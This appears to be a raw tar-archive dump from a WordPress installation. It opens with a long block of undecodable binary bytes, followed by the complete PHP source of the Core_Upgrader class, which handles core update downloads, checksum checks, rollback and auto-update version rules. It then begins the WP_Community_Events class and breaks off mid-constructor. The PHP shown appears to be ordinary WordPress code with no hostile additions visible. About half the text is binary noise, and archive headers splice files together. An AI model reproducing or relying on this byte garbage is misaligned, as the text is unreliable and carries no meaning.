��m6]�88���e��*&6/�)���Ttdž}pް$4�.!�0r5]�6��܉Fʟ�|��J�/D���D<�+ox�P�tÊ��W���hήvq ��������O5J�R�O��U�C����݀�+.��YnL2z�,^�y�e�9w����trau?ӥ_�6i�=�-ő ~Ic��L�{�C�3���C9�g����n��FX��p�֫�T���3*�~tO�H<o~~mAQu�D����]sŰk�UFa{���Ӝ`�a���RR���ONd0$�R�l��|�{;w��Б��PN�é8��>iU4�d��ʤ�<�Q
��o	ƭ�������5_��+!�}XGx��ո%Ǵ���#�B������s6V����2��lL����	
��V�-��}�`<�C��"���0,K�b���nQ�Tw�u��2��/���m�\{��t�Gi��mcڭ��xط�Z$�}�w�I:;���~t�X��ohY�:뼃/���~���e�
����e��>����ۧh��Ѕ��~0�T6�s\(�����x����ɩ�Wme�E���)hl#��!\b�_!�7�q��������K�S��[u�/�t�vC"wd��͙1Ps�Db�m�=P�3���p5�D	�Wn�R��	^O�9:Kf�tZe����fɉ���Ə�0`=`����	U��/���+��đ	�,m\.N߬�"@�(�Z�х2I:D4�B������������}�j	�)�5���,>�@+�¯�ԗm����vr�mIѓ�h�*��m�<��>>����Eb�v"��Ff+Ge5n�]���l�;"
����]:�0�	���t���z[!��g��~���>�{��� (���Ӱ�O�ЃT�bܡz�d�������~�ݸ�޷�=Z?x�o�v�ߞ�[�è�>�����I�Y���&3:�R����+�
)��F���nX//g�_.hp/g1����s���Q������7�;�K@IG���٦�ȰǗ��7�]�?�;�__C��k���g��c��Y^r�*];&���%h�ߔ}Z��-�L2�&���)Ź�2�|�0���k}=|GD�� ��
��%����Z5
/�g���ᷥ�
5f�p�����������h 7(����[d��! j},�u,�H�o�m�y̨B.t�!A��y��$?=�	��o` zXy�KbS��2�#�P���Ԍ�9��l���v��a%~zv�f��/�ixr/{�Ⱦ_��pOscb"ߎ�I�~e���0�u���s�Yh�� ���
�O9pt��ʴFhU�v|m���۳�?���e-m���dI0�<��ȗ��)�$;e7%^~��st�֭���w����t%�%ɡ=&Dž��VН%�]����K����X��.#$8
ՎFXX�]��Ą��Jf;��%�D���ivRǴp��;��^��sNj����.��Y��B��A�e}lՊ�4�I���X�鎔��O��iؑ�ӧ��v�r�x�`8�E�f�Xӎ�T4 ��v<B��twD���s}e�
m���R	Q�'%�^�:%sV�_<�|�H/�Y�xzf�]�
�n�GU����ܡ�7�l������~�w�M*���0��mNlsCw�f��.��w����`�R9O��e�s��v��_8��q�>QE! ���R�����݊�V�z�f����j��"|���ۃ	��dH�dD=������Sd���Β�R	��J�J��R�2)J�QB��0��	�6
��_�#��3��L��z=��|��t͚�ZBYwݥh�(]+�.�GR�	�ޗ����3`�@2JO�6�B��
4j��-Z��0��(�z��06T��j��R��]�#��,wF~�K��q�U��1.)�{��J��
Ž��M�E�=��������imX�t�[W,ڃF�8TE>��݆D�W�
�)���o|���i|jJ�*��ᓿ<|~�>�f�]�p2\�]N{��Ż*E�f���&���uM��E|.��E"<��6�8L�ld�����1/;�c�Ǵ���A�ub�g��6t�
�0���\�	Yw,�f��L�x��,y-Zmҷ��E2�r3=���̙��w�
�d�a[��-���!7�I/�6�x��	*9&���?V��ۃ���p��F8\vͧ���֥�#���M;1{�N2���9g��m-��L�H�6n�W���Fˋ���0�Z�~6[F��?q[������Q�&�%x�}�M�jb��|��|�
ئ�����x�b�ٵ��C�� �~��*ؼ�j��%���I
<��m�( ��k��6�|��Ίϵ��9�D�$���+W���͕n�������m����w���V������i�ee�����������\�&���N�ڍ�H�}$(�D��Q�,�{�9z��"��f�YC֓�|���[�2�&�o�~��z�]3�/������$��U�k[;9;�I6\$0��U���D��r?�Ϛ�c���L�AR�1�5�Uc??�V���?��q�p�(�kO�g��]�aK��P�1g'ޤ�O���ُ��z���iX�E�w��j�]��[i����K����zԭ_����B�*0��`�G�c�5��͘������WE�-��a�Y�P��[�o��e~r}�[�n��~��ٖmq�iՊ��3Ɋ�]]��*�;���(h�ȰguEC�ܝ	Ʃ�`*/1^[C!!�y��h��>����n��@�N/��L����\Z"
����)����un}#y�i��Y�{��U<%uS=�g�|N
F���Y�mҌ�:>Jp\T���东�#E��L�x��;h�
�,�C���!�5@��$>f�)�B��X@��Us)?E�̴`�H��Y�D�uzau��+�����si��1&9fEM������/k(�Eݲ��u.���o�4�G���)?���+�o�����IdCk�kE8�s"E�`9U�Ƞ!w��)��n�B"x��\�Y�NS
{���~�M�:��7:4�Ee=;4�J�ZgF)I�Z�xζ���V΍oO�}gy(�%(�m��
���%��oب�ȡ��Æ�
�*�~��C��{3A!I)���UQL�0�
����Z-����gi�2���8����k��V��m�s����k��ū��fù
����#� �(�m����QD�D&���i1L\>Oǃ�d�H�–&���q��#��ic��ԍ�]�h�I�!Z���N���_g�M3���-�q]�'l���֘�"���v���B>#�=`Ē��8˗`��)��(u�,z�3�**�S]U��ӯ���ޥu�%O$��(�᝽6fY�e:�k)z�T��ªc��(Cw=������4<~{ٹ���+>s_���,y���^[H�V8��l��E/�[��XԨ�X��
��ҁʮ}y�\�n�LA�
�\�bԳ�݇���$�.�]Wu��e�2e^&�n�f��n��4=gr��p	M�N}���luI���R��
~{X���J�0k��p�:5V�-V�Fa�iTtS{Q����F�<?|�~������Dϣ�`�ѣ'��|�N��Ϣ�=yĪ��XD?�t��ȦKG�$�8z���g����{��ߕ4�"-��,#͢Z��q">3�TOp���"����K�F->`�*��TJ�Q�@2y�'���ppG����:�t�]?���*�1�€sDLc~��n9V�пm��arJ\�����E��P���P���������>ч����[v�
Wzj���"ϊ�U������U�V��̬;
�`q���G��*��Pd�2"��@t����Y>x5K��{��ByP�:¸�jo-9��Ի��m
���\q���7����ˮ;�R��\�r���@6Î��ɭ��3Gm�s���6��
�0�l�c�oĶچ�
��v�w��qI���?�E�z4t�[7��͖�&K�u�a�N�0&mHȦǾ����@w�0����Gy�n)w�M2Y0�i-1�h>/5c��)���~�E�=�Q�].{g*���S/���٨�- .W�w
Ow8nG����z��Q&��=?x*��*����m�	�6����%cȄ�I	I�۪�b7s�*����#=�Jm�j�L�w�2��f�TK���7��2��)�g1>p��"6Gmo|]��2#�`�O\����ٰ��>�S�EKN�b���ĵ̃%�׍�������	2KG
�pÏK�tI�X�lэ�*'���Z����jFa,=�o�ƭ���Q,Fkp����b�ԓ
��k���"���u�l��Uͬ�E��1�뙅�?k)��e3[F�l8Yb�N�	�?��99>l������N^�acQ�I8^]��_��(����V���m�-����&��E7���_}�כ7��>KfE>���d6.���{?v�Ӎ]�������Y��dR�1Mw(��!�~�C�L@�Iy�lQ�M؇!�yT���z*�;�Q>K�� �4́���
�(�nޯ�7��^mz0��79Є7xf�Q�g�@)O:�ՠ$�����`��j��A"^r@���7t$�j-ogC��"j�r��֬}9)�ݽ��@
 �}�	:-��)�R��s ���~f�0t�H��5�<$8���QJw-��s ��ܨ16"���sW��*�d{7f���9�CM}n�|�ȡ�5�<cPB|�q��č
N�klT����<�>��6 �Ә���R�6b�1cXi�l��TQ��a
����q���Q�+"��Ě<ʼ����iK��,J��#1�����a��t��+Ғo7m�+ill�Ӄ^�+1E�{&��=UP(����۰�Y'��t �*�ْ=�Ξ�YF�e�ytJ�l��ڃ��-е��lD�Ué�d��gA�s��c3{��F59�Eƪ5�SaMs�}�(�j���U@)���b��M8�����N�ܔ|����d�,�{�>��N�:���[�U�"��ZWh�U2��Cgb�N���p�jI*9��{��Z't�RG��tP�(�
3e�`��,+r��ءU�dR������c��L�,�
��ya2S��b:�%���(�=]�@g��Nt���d=��U��k7���* ���54��t�y�ʽր���|U����V4��K�q
���l]roLR\N'I��ŹTT�!��2��, �A��_v���ȹ]�Q5���-�i��7��ȏ|�q�6]�G*<����!%5�?�c?�Dk��B�抓l,���a�-L7LS;/�~����&�	�B+B�����i�dž�[�� ���b_�[�����J��{¢��R!��|%'b�5�K qZzNgc�,\O�;��Q2��3�*���
�W%\9h�qb�ڳ�
���A�_�l�C��9S�:O�,��I��F�3��4Ķ�qF��Q�(�l;��$*0�m��I�+�������n��N��,d(y��Ɋ��'���̝>�� ����yeԾvkk}E�8w�k�n�;��d+��ٸ+;Is&7�03�Z]�L��1�<��*��/�N�d�@8���[�#�ݷ����MQ�MW)��m6���9��2��3̌��ʛ�X�@��`�gxJI)����l�O')zٍaK��|�VӖESL���eg��ѐ�y��6��<�����yx�9�tٽτ�,��q��A$�0����O(o��t�u������&c��ғ��0zh�Z�E.NQ9l�*�LI���O������O���էk�8����d*���=�R���jW�4~A��6Kf�8u�a�^��]����ׁe|�Vx�P32����	[�)!H�L�6X�����!T�]s<�Fٞ�4Y�I�}��"�d�r���ei�U0\^7誃t�"'k�dZ�RFS�7DV�M7��ĥ�PK6�ҝ�,��)uK�Nc�r%�lz�E{HϽa9s
�,���>�-�f�e��~	��n�A�h����T�.9[t���0����
V���7����-{�K�o~�q�`�&�h����d�����
?��� 6�9l������r��4ɼd��wQۺ�����aΫW��B�˺��~��<kU�P�Ƽ��lՂ�)[� MqaZ>vt�F�c�6���~����+))]�M���6tNM1?�a՟w�Y�=��Y��#Қ��i��]�L�Bfz��R�}8<�F`x�o2��ir1Ld9�<HUD����v��f��R�Jk�m
O��fnh�HnW�n���up�Q���:g��t,X�(&r#g�����^'_����Y�-ll�+�|��3D@s��-4^�e};���5V�D۵ʎ�"۶���	ԑ��0Ϋs�*�Zt]����`��g��XK�����<���T���RN�$���*C�D���m>i���h"n�v�?
����ǼY3<�5�%�u妄	/��Бy����(��%&�_��M�Ϯx�@�*��5��o9�`�h��鄘�;�M�jE`p��d6�Nj��	b����@���Ȝ�4]B���^��rhW�u"wbj���o��}�y���N,@�E>;�&j6J���;�~��1����K�)CnO}����j1�a����p�1��G��NԘfn:�]�2�c��]K�U�枬\«,�\�#'e�A��?
�!
�C`9��,?'U�����r���bB��[[�V#�M��ѝ��k��hm�/� �*�*�Ⳳ�;������[�|q���m3Z9Q��HV��{�"Mm�Ҋ�8��8OH�}۔jxW��0�ѵ�xN�kڕ#*0��F܏JP&C8>9o�]%�Y-V��x��W-@e�\[��j��^�v�.��:W;��:R�a��֯K8��iaЅD$�5�|��鴋$�N����8�t�Yх����t�	|���M�"�P[r|b)ܱ�:R����;sz"�/>�w�5�H�I�P.�#���c�~�4@I���l$��`H����r�}�RKE�2_���վ�W��$u��4]P��ΈQ�-m!٘�=��5���Ei��r2�&��3Nx]]GebV�Q�r4
ӿH
J1�jb�]���r^�`�j�ZG1:���h�C)���W
MC/�(	*U�-����:d/�Pk�;V�N���G���:p�E��Z��zV�w�~˻�i<=]�ݸ�j\�LC'i�F5p�B
����հQ9�n�č��u:����]ᔸ�V��G=Q�* ���3aļ?���w~��M@�a��]���Ҷ�ѵ>=R�����<���MQO^C��V�,�(?� ��(҅�إ7w����@��w�Yq���
�$�R�ͥ���O�f�13�ٟ��ix���π���j�e��Cݟ�K��u�4+F=X�����������a����IlJ�t���ż	�͉��ۇ�%	��h�ZVٮ	�U�R����Y���x��$�Ѕ~�X_���gت7��6�rS��ӝ�O;���E���z��ִF-��`��t��{�®Hzen�!�39�ϳ	�I�k���v��(�rخܡי�0E�ʀ)�~�u�D"�T�&�nD��[.�s8$�,�9]�@6�SZ
��/��]=khچS��S�hr��7���2�&�|�'�qOb�`x���`#jD���#If�ӵ(ƭ�M�\�ڻФ1��5-��1�wl]��32�#�<�A�L*}d�Z8n�+��j��q~Ni혂��y^LU�!��"!�Jg-��X5_#��+��]=�\����\V��ە�ƪ��S���_�y�o�<����
BUH&vG���hUߕx�m�/�s���эco����`R�.}kB'm7����t�%���S��è�������8ڣ��n�I>vEm��U+׏�
O"�ї¬�VhCm�	� cݖp��'��M^���ag�l���H�A<h����n��o8LEE�u'�z3 ��&l9����2
��;V�2���t�x�˪��0i@j�]���gRnlq��Uڈ9p��Ub�95�!}ٱj�aV�U���J������5�o#��ފ�vg}
ͭS��v>k>���4�}�^p�
�lD�8�"c��o�|�v
dE���pSh�ˑס
�il���;8p�O&��K�[#ÿ����)�����UD�9) �kE�^�"3i:��.�0��:�&��—F�}�{#�9*V��}w��(x�V�X2Y?��kzgl�J�PT8��(�^,�\Ps�@<ɫ��^zDd��^��,+��
ש�6��ѷ�j�&�w��}�&2s�����M[6��G���/����pNS��]�ζů�ۅl��g��`
[�����(6�l)*^US����&����>o,�&�����\��:t4�;\(&���_@"���:~�
�Q�s:.y����+�Ov����x���m�G3=��+�>1�:��<�	�3�,T�%�!�

���R:�+�uP+�6������O+�f�����*G��Q�����W�i�'V:9���ɼG|��ϵ>�:|#�N��f��Z܇:��Id1x7"��	�F�v��$<�2�i�(� ��ޭ77���
�=��-�S�e�\��ʀu,)$)RjWQ�W�$���Y���<�nj�����*ը
��Ш{"1�0����NÈz����2�+�uW�#�r\��bC�77�[~�@��Ho��a�L����\�c�2����bx++x0������9�c9�.\,P3j�P�&[T��z�j�ı�
;��h�<�}ux��)%�h��h��P�N0-�	^zH���n�T	p}A�Y^f#�;QbXh�&��M���k���!�x��y������:3�=����uʠ�G$kiRp`dž�iٌ�3\�kC�/O)�����}0���1P�\yr1��3��٠/���cqD|ϳQ�\������gG�jT�B�����r��o(\�e9,9ϓ~��8�j�h�G���)�v���1$iX��i���N<tG�����b�.�E���.��&��D}��t3��ض༓�(����B��=�{��-s.(�:T�� S�nE�E��4��J�5�”/��O<���m(�
�`1{.`�,���&YCO|fQ�E��z��r�L��W|��sC�}q�d#|�>��j���̧��x'�AgШ��Ng�h}����)���|��
��f%�^,���S�6ɭ1Ĵ=�`EM���a%N�@g��Yg��ފ�a�c��;�:r��]S��tV=��{4%�����5��u�����J��C�xռ�����i4{ ��N�MD����(d�Y�SÅ�TJZ5�ZkQ��|����o�}��&
�[�j��N��ť�^\N���i$D�}/Tk�1)}R��{}Y��k���P/�w�>�{���ꆕ_�Ņz�eUrη�|$�ף�en�xt女�Jݩ>X�խJ���Y}�
 ��ms�r�=�����`]fA������~��&��/�7y�[��
��m�����
a 岄8��&)���4QX�]8F/����d�����
�/K(8���#�Ъ�BPO�d�:�9�7�6�W_�(}k��{�+ ��	v���M�7V}]٥ڍ"g
F�u�q��{�p�M](�o��m��4�`����1vt������~��Ͱ��Yr^��U��6�uU/���G�8ڮ7hE�k8f�]�C�8X�����g�	Wn���,����}�8��ޢ�P������~�T��U��S<��	@���q��P�uHi�N�馃����+Ia��@�s�Ε`���8Y�%�]���?��M���[�cx�Z|�}���a�Gݗ�ƞ4Ƃ��"�y�X{��g�a�{���-~J��"�m�P���|�=M02��-I_�/ߖ�o�)c�[��
�R�Ύ٭;��\^D������9nf��qu^2�z3H�9Fl�$�x��}��z���,�`c\�S����%Lڎ[�)�2h�j��mE��ߘl?Β��l�-��ℭ�j6�"��c�?�/�y�(�����4��,�Z���pE��v�7kv@0�E^�NhT��<NW��9������W��L���G�ͣ�j�A­aJ�x���8��1�_��ft[�^�{:�v%�]�h��oH�^8ҿ�����vR��U]onw�?%�b9�I�&�i6".u@�R�Ǥ��1䛵�Ԙ�������88d�Q2,�
�v�P��3�n�gh�i2�zp�8�K��d�a#�fc=�>E����q�����\&���ݓ4��fS�9�l���t-�{�{"AaN�"4����g�{�u�6��s<��&f����A�q�d��fh����Ԝ�_��5���{�������ҦǦ�P�
�"�`>*�e�[��:�Vnl�	���ծB�0���r�³�;��ީ��N7�y��M5�1eFm�dɜq��^<�wpx�O����a�{d^_�Y���=XFу����Ӫ�!I�luMЮ<dQG��<&m27:��P&��!r��J�%��ڍrfN)M+��J���hއ&.�ß�f
���w�[�"��r퀩2�
c�Z��t�eo���Sgm�`3�?B����2���=����,O�P�
�M[�T7��q,�Z��d�t�.�&��X��M��{8C=h'SG�k�c������Œ�j�K�������5�3��=t��2�U��������]6�?�����ߟ�������`�class-core-upgrader.php000064400000035236150275632050011135 0ustar00<?php
/**
 * Upgrade API: Core_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for updating core.
 *
 * It allows for WordPress to upgrade itself in combination with
 * the wp-admin/includes/update-core.php file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Core_Upgrader extends WP_Upgrader {

	/**
	 * Initializes the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __( 'WordPress is at the latest version.' );
		$this->strings['locked']     = __( 'Another update is currently in progress.' );
		$this->strings['no_package'] = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package']   = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']        = __( 'Unpacking the update&#8230;' );
		$this->strings['copy_failed']           = __( 'Could not copy files.' );
		$this->strings['copy_failed_space']     = __( 'Could not copy files. You may have run out of disk space.' );
		$this->strings['start_rollback']        = __( 'Attempting to restore the previous version.' );
		$this->strings['rollback_was_required'] = __( 'Due to an error during updating, WordPress has been restored to your previous version.' );
	}

	/**
	 * Upgrades WordPress core.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem                WordPress filesystem subclass.
	 * @global callable           $_wp_filesystem_direct_method
	 *
	 * @param object $current Response object for whether WordPress is current.
	 * @param array  $args {
	 *     Optional. Arguments for upgrading WordPress core. Default empty array.
	 *
	 *     @type bool $pre_check_md5    Whether to check the file checksums before
	 *                                  attempting the upgrade. Default true.
	 *     @type bool $attempt_rollback Whether to attempt to rollback the chances if
	 *                                  there is a problem. Default false.
	 *     @type bool $do_rollback      Whether to perform this "upgrade" as a rollback.
	 *                                  Default false.
	 * }
	 * @return string|false|WP_Error New WordPress version on success, false or WP_Error on failure.
	 */
	public function upgrade( $current, $args = array() ) {
		global $wp_filesystem;

		require ABSPATH . WPINC . '/version.php'; // $wp_version;

		$start_time = time();

		$defaults    = array(
			'pre_check_md5'                => true,
			'attempt_rollback'             => false,
			'do_rollback'                  => false,
			'allow_relaxed_file_ownership' => false,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->upgrade_strings();

		// Is an update available?
		if ( ! isset( $current->response ) || 'latest' === $current->response ) {
			return new WP_Error( 'up_to_date', $this->strings['up_to_date'] );
		}

		$res = $this->fs_connect( array( ABSPATH, WP_CONTENT_DIR ), $parsed_args['allow_relaxed_file_ownership'] );
		if ( ! $res || is_wp_error( $res ) ) {
			return $res;
		}

		$wp_dir = trailingslashit( $wp_filesystem->abspath() );

		$partial = true;
		if ( $parsed_args['do_rollback'] ) {
			$partial = false;
		} elseif ( $parsed_args['pre_check_md5'] && ! $this->check_files() ) {
			$partial = false;
		}

		/*
		 * If partial update is returned from the API, use that, unless we're doing
		 * a reinstallation. If we cross the new_bundled version number, then use
		 * the new_bundled zip. Don't though if the constant is set to skip bundled items.
		 * If the API returns a no_content zip, go with it. Finally, default to the full zip.
		 */
		if ( $parsed_args['do_rollback'] && $current->packages->rollback ) {
			$to_download = 'rollback';
		} elseif ( $current->packages->partial && 'reinstall' !== $current->response && $wp_version === $current->partial_version && $partial ) {
			$to_download = 'partial';
		} elseif ( $current->packages->new_bundled && version_compare( $wp_version, $current->new_bundled, '<' )
			&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) ) {
			$to_download = 'new_bundled';
		} elseif ( $current->packages->no_content ) {
			$to_download = 'no_content';
		} else {
			$to_download = 'full';
		}

		// Lock to prevent multiple Core Updates occurring.
		$lock = WP_Upgrader::create_lock( 'core_updater', 15 * MINUTE_IN_SECONDS );
		if ( ! $lock ) {
			return new WP_Error( 'locked', $this->strings['locked'] );
		}

		$download = $this->download_package( $current->packages->$to_download, true );

		/*
		 * Allow for signature soft-fail.
		 * WARNING: This may be removed in the future.
		 */
		if ( is_wp_error( $download ) && $download->get_error_data( 'softfail-filename' ) ) {
			// Output the failure error as a normal feedback, and not as an error:
			/** This filter is documented in wp-admin/includes/update-core.php */
			apply_filters( 'update_feedback', $download->get_error_message() );

			// Report this failure back to WordPress.org for debugging purposes.
			wp_version_check(
				array(
					'signature_failure_code' => $download->get_error_code(),
					'signature_failure_data' => $download->get_error_data(),
				)
			);

			// Pretend this error didn't happen.
			$download = $download->get_error_data( 'softfail-filename' );
		}

		if ( is_wp_error( $download ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return $download;
		}

		$working_dir = $this->unpack_package( $download );
		if ( is_wp_error( $working_dir ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return $working_dir;
		}

		// Copy update-core.php from the new version into place.
		if ( ! $wp_filesystem->copy( $working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true ) ) {
			$wp_filesystem->delete( $working_dir, true );
			WP_Upgrader::release_lock( 'core_updater' );
			return new WP_Error( 'copy_failed_for_update_core_file', __( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' ), 'wp-admin/includes/update-core.php' );
		}
		$wp_filesystem->chmod( $wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE );

		wp_opcache_invalidate( ABSPATH . 'wp-admin/includes/update-core.php' );
		require_once ABSPATH . 'wp-admin/includes/update-core.php';

		if ( ! function_exists( 'update_core' ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return new WP_Error( 'copy_failed_space', $this->strings['copy_failed_space'] );
		}

		$result = update_core( $working_dir, $wp_dir );

		// In the event of an issue, we may be able to roll back.
		if ( $parsed_args['attempt_rollback'] && $current->packages->rollback && ! $parsed_args['do_rollback'] ) {
			$try_rollback = false;
			if ( is_wp_error( $result ) ) {
				$error_code = $result->get_error_code();
				/*
				 * Not all errors are equal. These codes are critical: copy_failed__copy_dir,
				 * mkdir_failed__copy_dir, copy_failed__copy_dir_retry, and disk_full.
				 * do_rollback allows for update_core() to trigger a rollback if needed.
				 */
				if ( str_contains( $error_code, 'do_rollback' ) ) {
					$try_rollback = true;
				} elseif ( str_contains( $error_code, '__copy_dir' ) ) {
					$try_rollback = true;
				} elseif ( 'disk_full' === $error_code ) {
					$try_rollback = true;
				}
			}

			if ( $try_rollback ) {
				/** This filter is documented in wp-admin/includes/update-core.php */
				apply_filters( 'update_feedback', $result );

				/** This filter is documented in wp-admin/includes/update-core.php */
				apply_filters( 'update_feedback', $this->strings['start_rollback'] );

				$rollback_result = $this->upgrade( $current, array_merge( $parsed_args, array( 'do_rollback' => true ) ) );

				$original_result = $result;
				$result          = new WP_Error(
					'rollback_was_required',
					$this->strings['rollback_was_required'],
					(object) array(
						'update'   => $original_result,
						'rollback' => $rollback_result,
					)
				);
			}
		}

		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action' => 'update',
				'type'   => 'core',
			)
		);

		// Clear the current updates.
		delete_site_transient( 'update_core' );

		if ( ! $parsed_args['do_rollback'] ) {
			$stats = array(
				'update_type'      => $current->response,
				'success'          => true,
				'fs_method'        => $wp_filesystem->method,
				'fs_method_forced' => defined( 'FS_METHOD' ) || has_filter( 'filesystem_method' ),
				'fs_method_direct' => ! empty( $GLOBALS['_wp_filesystem_direct_method'] ) ? $GLOBALS['_wp_filesystem_direct_method'] : '',
				'time_taken'       => time() - $start_time,
				'reported'         => $wp_version,
				'attempted'        => $current->version,
			);

			if ( is_wp_error( $result ) ) {
				$stats['success'] = false;
				// Did a rollback occur?
				if ( ! empty( $try_rollback ) ) {
					$stats['error_code'] = $original_result->get_error_code();
					$stats['error_data'] = $original_result->get_error_data();
					// Was the rollback successful? If not, collect its error too.
					$stats['rollback'] = ! is_wp_error( $rollback_result );
					if ( is_wp_error( $rollback_result ) ) {
						$stats['rollback_code'] = $rollback_result->get_error_code();
						$stats['rollback_data'] = $rollback_result->get_error_data();
					}
				} else {
					$stats['error_code'] = $result->get_error_code();
					$stats['error_data'] = $result->get_error_data();
				}
			}

			wp_version_check( $stats );
		}

		WP_Upgrader::release_lock( 'core_updater' );

		return $result;
	}

	/**
	 * Determines if this WordPress Core version should update to an offered version or not.
	 *
	 * @since 3.7.0
	 *
	 * @param string $offered_ver The offered version, of the format x.y.z.
	 * @return bool True if we should update to the offered version, otherwise false.
	 */
	public static function should_update_to_version( $offered_ver ) {
		require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z

		$current_branch = implode( '.', array_slice( preg_split( '/[.-]/', $wp_version ), 0, 2 ) ); // x.y
		$new_branch     = implode( '.', array_slice( preg_split( '/[.-]/', $offered_ver ), 0, 2 ) ); // x.y

		$current_is_development_version = (bool) strpos( $wp_version, '-' );

		// Defaults:
		$upgrade_dev   = get_site_option( 'auto_update_core_dev', 'enabled' ) === 'enabled';
		$upgrade_minor = get_site_option( 'auto_update_core_minor', 'enabled' ) === 'enabled';
		$upgrade_major = get_site_option( 'auto_update_core_major', 'unset' ) === 'enabled';

		// WP_AUTO_UPDATE_CORE = true (all), 'beta', 'rc', 'development', 'branch-development', 'minor', false.
		if ( defined( 'WP_AUTO_UPDATE_CORE' ) ) {
			if ( false === WP_AUTO_UPDATE_CORE ) {
				// Defaults to turned off, unless a filter allows it.
				$upgrade_dev   = false;
				$upgrade_minor = false;
				$upgrade_major = false;
			} elseif ( true === WP_AUTO_UPDATE_CORE
				|| in_array( WP_AUTO_UPDATE_CORE, array( 'beta', 'rc', 'development', 'branch-development' ), true )
			) {
				// ALL updates for core.
				$upgrade_dev   = true;
				$upgrade_minor = true;
				$upgrade_major = true;
			} elseif ( 'minor' === WP_AUTO_UPDATE_CORE ) {
				// Only minor updates for core.
				$upgrade_dev   = false;
				$upgrade_minor = true;
				$upgrade_major = false;
			}
		}

		// 1: If we're already on that version, not much point in updating?
		if ( $offered_ver === $wp_version ) {
			return false;
		}

		// 2: If we're running a newer version, that's a nope.
		if ( version_compare( $wp_version, $offered_ver, '>' ) ) {
			return false;
		}

		$failure_data = get_site_option( 'auto_core_update_failed' );
		if ( $failure_data ) {
			// If this was a critical update failure, cannot update.
			if ( ! empty( $failure_data['critical'] ) ) {
				return false;
			}

			// Don't claim we can update on update-core.php if we have a non-critical failure logged.
			if ( $wp_version === $failure_data['current'] && str_contains( $offered_ver, '.1.next.minor' ) ) {
				return false;
			}

			/*
			 * Cannot update if we're retrying the same A to B update that caused a non-critical failure.
			 * Some non-critical failures do allow retries, like download_failed.
			 * 3.7.1 => 3.7.2 resulted in files_not_writable, if we are still on 3.7.1 and still trying to update to 3.7.2.
			 */
			if ( empty( $failure_data['retry'] ) && $wp_version === $failure_data['current'] && $offered_ver === $failure_data['attempted'] ) {
				return false;
			}
		}

		// 3: 3.7-alpha-25000 -> 3.7-alpha-25678 -> 3.7-beta1 -> 3.7-beta2.
		if ( $current_is_development_version ) {

			/**
			 * Filters whether to enable automatic core updates for development versions.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_dev Whether to enable automatic updates for
			 *                          development versions.
			 */
			if ( ! apply_filters( 'allow_dev_auto_core_updates', $upgrade_dev ) ) {
				return false;
			}
			// Else fall through to minor + major branches below.
		}

		// 4: Minor in-branch updates (3.7.0 -> 3.7.1 -> 3.7.2 -> 3.7.4).
		if ( $current_branch === $new_branch ) {

			/**
			 * Filters whether to enable minor automatic core updates.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_minor Whether to enable minor automatic core updates.
			 */
			return apply_filters( 'allow_minor_auto_core_updates', $upgrade_minor );
		}

		// 5: Major version updates (3.7.0 -> 3.8.0 -> 3.9.1).
		if ( version_compare( $new_branch, $current_branch, '>' ) ) {

			/**
			 * Filters whether to enable major automatic core updates.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_major Whether to enable major automatic core updates.
			 */
			return apply_filters( 'allow_major_auto_core_updates', $upgrade_major );
		}

		// If we're not sure, we don't want it.
		return false;
	}

	/**
	 * Compares the disk file checksums against the expected checksums.
	 *
	 * @since 3.7.0
	 *
	 * @global string $wp_version       The WordPress version string.
	 * @global string $wp_local_package Locale code of the package.
	 *
	 * @return bool True if the checksums match, otherwise false.
	 */
	public function check_files() {
		global $wp_version, $wp_local_package;

		$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );

		if ( ! is_array( $checksums ) ) {
			return false;
		}

		foreach ( $checksums as $file => $checksum ) {
			// Skip files which get updated.
			if ( str_starts_with( $file, 'wp-content' ) ) {
				continue;
			}
			if ( ! file_exists( ABSPATH . $file ) || md5_file( ABSPATH . $file ) !== $checksum ) {
				return false;
			}
		}

		return true;
	}
}
class-wp-community-events.php000064400000044521150275632050012345 0ustar00<?php
/**
 * Administration: Community Events class.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.8.0
 */

/**
 * Class WP_Community_Events.
 *
 * A client for api.wordpress.org/events.
 *
 * @since 4.8.0
 */
#[AllowDynamicProperties]
class WP_Community_Events {
	/**
	 * ID for a WordPress user account.
	 *
	 * @since 4.8.0
	 *
	 * @var int
	 */
	protected $user_id = 0;

	/**
	 * Stores location data for the user.
	 *
	 * @since 4.8.0
	 *
	 * @var false|array
	 */
	protected $user_location = false;

	/**
	 * Constructor for WP_Community_Events.
	 *
	 * @since 4.8.0
	 *
	 * @param int        $user_id       WP user ID.
	 * @param false|array $user_location {
	 *     Stored location data for the user. false to pass no location.
	 *
	 *     @type string $description The name of the location
	 *     @type string $latitude    The latitude in decimal degrees notation, without the degree
	 *                               symbol. e.g.: 47.615200.
	 *     @type string $longitude   The longitude in decimal degrees notation, without the degree
	 *                               symbol. e.g.: -122.341100.
	 *     @type string $country     The ISO 3166-1 alpha-2 country code. e.g.: BR
	 * }
	 */
	public function __construct( $user_id, $user_location = false ) {
		$this->user_id       = absint( $user_id );
